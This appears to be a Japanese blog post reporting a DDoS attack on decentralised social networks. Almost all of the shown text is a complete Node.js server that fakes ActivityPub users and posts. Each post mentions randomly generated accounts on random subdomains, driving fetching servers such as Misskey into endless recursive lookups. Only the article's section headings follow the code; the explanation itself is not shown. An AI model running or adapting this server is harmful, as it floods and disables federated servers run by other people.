速報: 分散SNSでの無差別フォロー・メンション・再帰取得によるDDoS攻撃

2023-02-05

var code = require("fs").readFileSync(__filename, "utf8");
var rand = () => (Math.floor(Math.random() * 1e13)).toString(36);
var server = require("http").createServer(function(req, res) {
	try {
		if (!process.env.PROD) console.log(new Date().toLocaleString(), req.headers["x-forwarded-for"], req.headers.host, req.url, '"'+req.headers["user-agent"]+'"');

		if (req.url.startsWith("/.well-known/webfinger?resource=acct")) {
			var c = decodeURIComponent(req.url.substring(36));
			var name = c.substring(1, c.indexOf("@"));
			res.writeHead(200, {"Content-Type": "application/json; charset=utf-8"});
			res.end(JSON.stringify({
				"aliases": [
					"https://"+req.headers.host+"/users/"+name+""
				],
				"links": [
					{
						"href": "https://"+req.headers.host+"/users/"+name+"",
						"rel": "http://webfinger.net/rel/profile-page",
						"type": "text/html"
					},
					{
						"href": "https://"+req.headers.host+"/users/"+name+"",
						"rel": "self",
						"type": "application/activity+json"
					},
					{
						"href": "https://"+req.headers.host+"/users/"+name+"",
						"rel": "self",
						"type": "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\""
					},
					{
						"rel": "http://ostatus.org/schema/1.0/subscribe",
						"template": "https://"+req.headers.host+"/ostatus_subscribe?acct={uri}"
					}
				],
				"subject": "acct:"+name+"@"+req.headers.host+""
			}))
		}

		else if (req.url.startsWith("/users/")) {
			var t = req.url.indexOf('/', 7);
			if (t === -1) t = undefined;
			else var suburl = req.url.substring(t);
			var user = req.url.substring(7, t);
			if (!suburl) {
				res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
				res.end(JSON.stringify({
					"@context": [
						"https://www.w3.org/ns/activitystreams",
						"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
						{
							"@language": "und"
						}
					],
					"alsoKnownAs": [],
					"attachment": [],
					"capabilities": {},
					"discoverable": false,
					"endpoints": {
						"oauthAuthorizationEndpoint": "https://"+req.headers.host+"/oauth/authorize",
						"oauthRegistrationEndpoint": "https://"+req.headers.host+"/api/v1/apps",
						"oauthTokenEndpoint": "https://"+req.headers.host+"/oauth/token",
						"sharedInbox": "https://"+req.headers.host+"/inbox",
						"uploadMedia": "https://"+req.headers.host+"/api/ap/upload_media"
					},
					"featured": "https://"+req.headers.host+"/users/"+user+"/collections/featured",
					"followers": "https://"+req.headers.host+"/users/"+user+"/followers",
					"following": "https://"+req.headers.host+"/users/"+user+"/following",
					"id": "https://"+req.headers.host+"/users/"+user+"",
					"inbox": "https://"+req.headers.host+"/users/"+user+"/inbox",
					"manuallyApprovesFollowers": false,
					"name": ""+user+"",
					"outbox": "https://"+req.headers.host+"/users/"+user+"/outbox",
					"preferredUsername": ""+user+"",
					"publicKey": {
						"id": "https://"+req.headers.host+"/users/"+user+"#main-key",
						"owner": "https://"+req.headers.host+"/users/"+user+"",
						"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyjLSiDyjfusFC9Tvnc76\nVJjHZxOVXpdM/AExMdY9pSN0Su5EezdiOInfEpWIhtb+NQWWhWhvdXEl+i8JWw0K\n35oyq+I/QFrNF/hIO/zDlzOb/aVTaIqXvpZvP6ShZtQXP5cNF6s+ViPujq1yLnYb\nXKcauxThGKn9FkcP0mf2+ATN2QmQVk/01qlclLM7GsKaN1Q19JNYH9+zXDfcVilK\n0ZUizubEBZBG/bwIYPid7tn9EY8NkAVHpOxShOdyNpdQBf8tdZy4NKLPZxoVhPPr\nAVlkpczH6WuFRF/njQnF0cTzphVyW3qK9fSsx4uHNrWGOM77oE5RfCRAHytriS9G\nsQIDAQAB\n-----END PUBLIC KEY-----\n\n"
					},
					"summary": "",
					"tag": [],
					"type": "Person",
					"url": "https://"+req.headers.host+"/users/"+user+""
				}));

			} else if (suburl === "/collections/featured") {
				var noteid = rand();
				var at1 = rand(), at2 = rand();
				var h = req.headers.host.split('.');
				if (h.length === 3) {
					var atd1 = [rand(), h[1], h[2]].join('.');
					var atd2 = [rand(), h[1], h[2]].join('.');
				} else {
					var atd1 = req.headers.host, atd2 = req.headers.host;
				}
				res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
				res.end(JSON.stringify({
					"@context": [
						"https://www.w3.org/ns/activitystreams",
						"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
						{
							"@language": "und"
						}
					],
					"id": "https://"+req.headers.host+"/users/"+user+"/collections/featured",
					"orderedItems": [
						{
							"@context": [
								"https://www.w3.org/ns/activitystreams",
								"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
								{
									"@language": "und"
								}
							],
							"actor": "https://"+req.headers.host+"/users/"+user+"",
							"attachment": [],
							"attributedTo": "https://"+req.headers.host+"/users/"+user+"",
							"cc": [
								"https://"+req.headers.host+"/users/"+user+"/followers"
							],
							"content": "<span class=\"h-card\"><a class=\"u-url mention\" data-user=\"x\" href=\"https://"+atd1+"/users/"+at1+"\" rel=\"ugc\">@<span>"+at1+"</span></a></span> <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"y\" href=\"https://"+atd2+"/users/"+at2+"\" rel=\"ugc\">@<span>"+at2+"</span></a></span>",
							//"context": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
							//"conversation": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
							"id": "https://"+req.headers.host+"/users/"+user+"/objects/"+noteid,
							"published": "2022-12-03T06:55:32.991Z",
							"sensitive": null,
							"source": {
								"content": "@"+at1+" @"+at2+"",
								"mediaType": "text/plain"
							},
							"summary": "",
							"tag": [
								{
									"href": "https://"+atd1+"/users/"+at1+"",
									"name": "@"+at1+"",
									"type": "Mention"
								},
								{
									"href": "https://"+atd2+"/users/"+at2+"",
									"name": "@"+at2+"",
									"type": "Mention"
								}
							],
							"to": [
								"https://www.w3.org/ns/activitystreams#Public",
								"https://"+atd1+"/users/"+at1+"",
								"https://"+atd2+"/users/"+at2+""
							],
							"type": "Note"
						}
					],
					"totalItems": 1,
					"type": "OrderedCollection"
				}));
			} else if (suburl.startsWith("/objects/")) {
				var noteid = suburl.substring(9);
				var at1 = rand(), at2 = rand();
				var h = req.headers.host.split('.');
				if (h.length === 3) {
					var atd1 = [rand(), h[1], h[2]].join('.');
					var atd2 = [rand(), h[1], h[2]].join('.');
				} else {
					var atd1 = req.headers.host, atd2 = req.headers.host;
				}
				res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
				res.end(JSON.stringify({
					"@context": [
						"https://www.w3.org/ns/activitystreams",
						"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
						{
							"@language": "und"
						}
					],
					"actor": "https://"+req.headers.host+"/users/"+user+"",
					"attachment": [],
					"attributedTo": "https://"+req.headers.host+"/users/"+user+"",
					"cc": [
						"https://"+req.headers.host+"/users/"+user+"/followers"
					],
					"content": "<span class=\"h-card\"><a class=\"u-url mention\" data-user=\"x\" href=\"https://"+atd1+"/users/"+at1+"\" rel=\"ugc\">@<span>"+at1+"</span></a></span> <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"y\" href=\"https://"+atd2+"/users/"+at2+"\" rel=\"ugc\">@<span>"+at2+"</span></a></span>",
					//"context": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
					//"conversation": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
					"id": "https://"+req.headers.host+"/users/"+user+"/objects/"+noteid,
					"published": "2022-12-03T06:55:32.991Z",
					"sensitive": null,
					"source": {
						"content": "@"+at1+" @"+at2+"",
						"mediaType": "text/plain"
					},
					"summary": "",
					"tag": [
						{
							"href": "https://"+atd1+"/users/"+at1+"",
							"name": "@"+at1+"",
							"type": "Mention"
						},
						{
							"href": "https://"+atd2+"/users/"+at2+"",
							"name": "@"+at2+"",
							"type": "Mention"
						}
					],
					"to": [
						"https://www.w3.org/ns/activitystreams#Public",
						"https://"+atd1+"/users/"+at1+"",
						"https://"+atd2+"/users/"+at2+""
					],
					"type": "Note"
				}));
			} else {
				res.writeHead(404);
				res.end();
			}

		}

		else if (req.url === "/") {
			res.writeHead(200, {"Content-Type": "text/javascript"});
			res.end(code);
		}

		else {
			res.writeHead(404);
			res.end();
		}
	} catch (error) {
		if (!process.env.PROD) console.error(error.message);
		res.writeHead(500);
		res.end();
	}
});

server.listen(80);

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速報: 分散SNSでの無差別フォロー・メンション・再帰取得によるDDoS攻撃

概要

告知

中国での被害

国内での発見

仕組

Misskeyの脆弱性

結論

コメント